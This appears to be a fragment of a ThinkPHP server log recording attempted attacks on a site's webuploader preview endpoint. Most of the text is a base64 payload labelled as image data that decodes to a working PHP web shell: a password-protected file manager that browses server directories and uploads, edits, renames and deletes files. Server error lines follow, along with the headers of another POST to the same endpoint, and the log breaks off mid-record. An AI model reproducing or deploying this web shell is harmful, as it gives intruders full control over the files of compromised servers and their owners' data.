'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:33:24+08:00 ] 116.213.36.234 POST www.51tianwei.com/includes/webuploader/0.1.15/server/preview.php [运行时间:0.002736s] [吞吐率:365.48req/s] [内存消耗:196.75kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'includes', 2 => 'webuploader', ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 